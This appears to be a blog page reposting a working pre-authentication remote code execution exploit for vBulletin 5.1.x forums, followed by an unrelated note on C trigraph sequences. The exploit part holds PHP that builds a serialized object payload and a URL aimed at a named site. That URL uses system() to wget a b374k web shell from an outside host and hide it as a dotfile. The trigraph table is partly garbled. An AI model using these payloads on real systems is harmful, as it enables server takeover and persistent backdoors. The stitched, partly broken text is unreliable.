Vbulletin 5.X.X RCE Exploit

So, It has been all over news. Remote code execution in vBulletin forums due to unserialize function.

“vBulletin 5.1.x – PreAuth 0day Remote Code Execution Exploit”

# Exploit Title: Vbulletin 5.1.X unserialize 0day preauth RCE exploit
# Date: Nov 4th, 2015
# Exploit Author: hhjj
# Vendor Homepage: http://www.vbulletin.com/
# Version: 5.1.x
# Tested on: Debian
# CVE : 
# I did not discover this exploit, leaked from the IoT.
 
# Build the object
php << 'eof'
<?php
class vB_Database {
       public $functions = array();
 
       public function __construct() 
       {
               $this->functions['free_result'] = 'phpinfo';
       }
}
 
class vB_dB_Result {
       protected $db;
       protected $recordset;
 
       public function __construct()
       {
               $this->db = new vB_Database();
               $this->recordset = 1;
       }
}
 
print urlencode(serialize(new vB_dB_Result())) . "\n";
eof
O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bi%3A1%3B%7D
 
#Then hit decodeArguments with your payload :
http://localhost/vbforum/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D

The original post POC shared doesnt actually help you in executing commands on webserver. Following payload would help you in executing commands on webserver.

http:/osssd.com/forums/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A{s%3A5%3A%22%00*%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A{s%3A9%3A%22functions%22%3Ba%3A1%3A{s%3A11%3A%22free_result%22%3Bs%3A6%3A%22assert%22%3B}}s%3A12%3A%22%00*%00recordset%22%3Bs%3A85%3A%22system%28%22wget+https://b374k-shell.googlecode.com/files/b374k-2.8.php+-O+.jlsabse.php%22%29%22%3B}

About mentioned payload would “wget” and save file as “.jlsabse.php” in forums main directory.
Thanks.

Trigraph Sequence C programming

In general you can use a question mark directly in a string. The \? escape sequence only exists because there are nine
special sequences of characters called trigraph sequences that are three-characters sequences for representing each
of the characters #, [,], \, ^, ~, \, {, and }:

??= converts to #
??( converts to [
??) converts to ]
??/ converts to \
?? converts to }
??’ converts to ^
??! converts to |
??- converts to ~

Example:

printf("What??!\n");

The output produced by this statement will be:

What|